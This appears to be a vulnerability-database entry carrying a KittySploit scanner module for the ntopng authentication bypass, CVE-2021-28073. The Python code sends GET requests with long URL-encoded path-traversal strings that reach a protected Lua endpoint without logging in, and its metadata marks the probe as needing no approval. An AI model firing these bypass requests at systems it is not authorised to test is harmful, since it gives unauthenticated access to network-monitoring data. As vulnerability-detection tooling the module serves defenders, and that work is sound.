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Ntopng Authentication Bypass Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Ntopng contains an authentication bypass vulnerability.

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circl
Circl
CVE-2021-28073
27 Apr 202309:58
–circl
cve
CVE
CVE-2021-28073
18 Nov 202321:50
–cve
nuclei
Nuclei
Ntopng Authentication Bypass
4 Feb 202607:00
–nuclei
openvas
OpenVAS
ntopng < 4.2.210427 Information Disclosure Vulnerability - Active Check
10 May 202100:00
–openvas
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Ntopng Authentication Bypass Detection',
        'description': 'Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4.2',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'ntopng', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-27573',
            'http://noahblog.360.cn/ntopng-multiple-vulnerabilities/',
            'https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md',
        ],
        'cve': 'CVE-2021-28073',
    }

    def run(self):
        for path in ('/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css', '/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            body_all = ('"results":', '"name":', '"tab":',)
            header_any = ('application/json',)
            if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
                self.set_info(
                    severity='critical',
                    reason="Ntopng Authentication Bypass detected",
                    path=path,
                )
                return True
        return False

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28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
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